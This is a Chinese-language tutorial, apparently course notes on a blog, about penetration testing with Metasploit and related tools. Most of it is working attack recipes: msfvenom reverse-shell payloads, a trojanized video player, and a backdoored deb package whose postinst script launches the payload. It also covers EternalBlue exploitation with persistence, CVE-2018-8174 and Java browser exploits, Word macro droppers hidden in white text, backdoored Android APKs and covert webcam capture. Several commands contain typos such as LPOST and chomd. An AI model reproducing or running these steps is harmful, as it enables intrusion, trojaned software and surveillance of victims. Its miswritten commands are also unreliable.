【学神IT教育渗透第一部分】

1.fscan(内网扫描工具)

fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)

2.netdiscover(网络扫描工具)

netdiscover -i eth0 -r 192.168.1.1/24  主动探测
netdiscover -p  被动探测  网卡混杂模式
优点:可以查看IP地址和对应得物理网卡

3.fping(网络小工具)

fping -ag 192.168.1.0/24 > fping.txt 显示存活主机

nmtui(网络配置命令)

4.nmap(端口扫描工具)

nmap -sn 192.168.1.0/24(扫网段)
nmap -sS 192.168.1.1 (半连接扫描)
nmap -O 192.168.1.1 (操作系统扫描)
nmap -sV -T4 -O -F --version-light(快速扫描加强模式)
nmap 192.168.1.0/24 -p1-1024 --script=ipidseq.nse >a.txt(扫描哪些主机可以作为僵尸主机)
nmap 192.168.1.70 -sI (僵尸IP)

僵尸扫描实施环境:
足够闲置的系统(僵尸机)
僵尸系统必须使用递增的IPID
可伪造源地址

5.常看高危端口及关闭

lsof -i :22(查端口被谁使用)
ps -aux | grep 666 (查看进程文件路径)【注:666是PID】
systemctl stop ssh (关闭高危端口)
kill  -9 666 

6.制作Windows恶意软件获取Shell

msfdb run(msf打开并打开数据库)
msfvenom是msfpayload,nsfencode的结合体

(1)生成一个后门程序(使用一个编码器)

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.91.129 LPOST=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/shell.exe

(2)可以生成另一个后门程序(使用两个编码器)

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.91.129 LPOST=4444 -b "\x00" -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f exe -o /var/www/html/shell1.exe

(3)进行监听

msfdb run
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.91.129
set LPOST 4444
run

(4)如果访问不了,可能apache没开启

systemctl start apache2

或者文件名有问题,如有空格

(5)另一台电脑下载运行

http://192.168.91.129/shell.exe
http://192.168.91.129/shell1.exe

(6)提权

getsystem
getuid
sysinfo(查看系统信息)
show_mount(查看分区)
run post
run post/windows/gather/enum_chrome(查看浏览器缓存)
run post/windows/gather/enum_domain(查看域控)
edit(创建文件)pwd(目标机的) lpwd(本机的)
download root.txt /root/  (下载到当前目录)

7.实战-给真正的快播软件加上后门

(1)上传绿色安全软件到kali
(2)使用编码器制作一个木马文件

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.91.129 LPOST=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe

(3)kali进行监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.91.129
set LPOST 4444
run

(4)受害机进行运行
(5)上线后,进行提权
`

getuid  getsystem`

8.实战-制作Linux恶意软件获取shell

msfvenom -a x86 --platform linux -p linux/meterpreter/bind_tcp LHOST=192.168.91.129 LPOST=4444 -b "\x00" -f elf -o  /var/www/html/xuegod
set payload linux/x64/shell/reverse_tcp
set LHOST 192.168.91.129
set LPOST 4444
run
background(保存到后台)
show options (查看)
./xuegod(受害机运行)

9.实战-制作恶意deb软件包来触发后门

(1)下载一个游戏软件

apt --download-only install freesweep(下载不安装)
自动下载到 /var/cache/apt/archives

(2)移动到root目录

mv freesweep.deb ~

(3)解压软件包到free目录

dpkg -x freesweep.deb free

(4)制作后门

msfvenom -a x86 --platform linux -p linux/meterpreter/reverse_tcp LHOST=192.168.91.129 LPOST=4444 -b "\x00" -f elf -o  /root/free/usr/games/freesweep_sources

(5)创建文件目录并切换到目录下

mkdir /root/free/DEBIAN && cd /root/free/DEBIAN

(6)创建软件包的信息文件

tee /root/free/DEBIAN/control << "EOF"tee /root/free/DEBIAN/control << 'EOF'
#<<'EOF'表示开始
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game,where one tries to find all the mines without igniting any,based on hints given by the computer.Unlike most implementations of this game,Freesweep works in any visual text display -in Linux console,in an xterm,and in most text-based terminals currently in use
EOF
#第二个EOF表示结束

(7)创建deb软件包安装脚本后门

tee /root/free/DEBIAN/postinst << 'EOF' 
sudo chomd 755 /usr/games/freesweep_scores
sudo /usr/games/freesweep_scores &
EOF

(8)给脚本执行权限

chmod +775 /root/free/DEBIAN/postinst

(9)构建新的deb安装包

dpkg-deb --build /root/free/

(10)开启handler监听在linux安装该软件包

use exploit/multi/handler
set payload linux/x64/shell/reverse_tcp
set LHOST 192.168.91.129
set LPOST 4444
run

(11)安装与卸载

dpkg -i free.deb进行安装
#dpkg -r freesweap可以进行卸载

10.SMB ms17-010的利用

(1)meterpreter

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.91.129
run
或者
shell
set payload windows/x64/shell/reverse_tcp
run
sessions -k 11(干掉)

(2)windows植入后门

use exploit/windows/local/persistence
set STARTUP SYSTEM
set DELAY 5
run
验证
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.91.129
set LPOST 4444
run 重复
exit  然后 run

11.实战-利用0DAY漏洞获取shell

(1)使用Xshell上传CVE-2018-8174的EXP到Kali

https://github.com/iBearcat/CVE-2018-8174_EXP(下载地址)

(2)解压 unzip CVE-2018-8174_EXP-master.zip
(3)生成恶意html文件

python CVE-2018-8174.py -u http://192.168.1.56/exploit.html -o hack.rtf -i 192.168.1.56 -p 4444

(4)将文件复制到apache根目录

cp exploit.html /var/www/html

(5)开启apache服务

systemctl start apache2
cd /var/www/html

(6)打开新的控制页面开启监听

msfdb run
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 192.168.91.129
set LPOST 4444
run

(7)打开win7IE浏览器

http://192.168.1.56/exploit.html (Kali拿到了shell)
whoami

12.基于java环境的漏洞利用获取shell(现在客户端安装jre-7u17)

(1)搭建Java环境,上传jre到win7或XP操作系统执行
(2)使用java模块getshell,开启监听

use exploit/multi/browser/java_jre17_driver_manager
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.91.129
set LPOST 4444
run

(3)运行会生成一个地址,在win7运行,接受风险运行
(4)kali拿到权限

sessions -i 3 (拿到权限)查看 getuid
注:如果出现这个错误提示,说明4444端口被占用
查看占用4444端口的进行ID
lsof -i:4444
然后将该进程杀死
kill -9 1945

13.利用宏感染word文档获取shell

(1)前提是安装有word
(2)生成一个恶意代码

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.91.129 LPOST=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f vba-exe

(3)WIN7打开一个word文档,视图,点击宏文档,改为文档1,创建,复制msf代码粘贴到WIN7中,起名shark,点击启用宏的word文档,放在桌面上
(4)文档内容中需要粘贴payload代码,改为白字
(5)kali进行监听

set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.91.129
set LPOST 4444
run

(6)win7打开word文档,需要启用宏
(7)kali拿到权限

14.安装客户端渗透

(1)通过MSF生成一个apk的后门应用

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.91.129 LPOST=4444 R > xuegod.apk

(2)访问下载

http://192.168.91.129/xuegod.apk

(3)win7打开模拟器,安装apk
(4)Kali进行监听

set payload android/meterpreter/reverse_tcp
set LHOST 192.168.91.129
set LPOST 4444
run

(5)win7运行
(6)kali拿到权限

15.将后门注入隐藏游戏APP中

(1)首先需要禁用ipv6
禁用ipv6

echo "net.ipv6.conf.eth0.disable_ipv6=1">>/etc/sysctl.conf
sysctl -p
ifconfig

(2)安装Evil-Droid工具,上传master到kali,cd进程序,改evil-droid
set num 40 google改为baidu set num 649 -fa删除 -fs之前
(3)增加执行权限

chmod +x Evil-Droid

(4)配置Evil-Droid-master

cd/Evil-Droid-master/tools
rm -fr apktool.jar
rz
ls apktool.jar doc.txt
./evil-droid
安装好前面都默认选择,payload选择android/meterpreter/reverse_tcp

(5)选择植入后门的apk
(6)生成apk文件证书,记住地址
(7)开启监听

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.43.185
run
systemctl start apache2

(8)win7去下载安装

http://192.168.43.185/evilapk.apk

(9)模拟器安装运行
(10)kali获取权限 webcam_list 获取摄像头

webcam_list
webcam_snap -i 1

注:客户端签名失败处理

apt-get install openjdk-11-jdk-headless -y
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值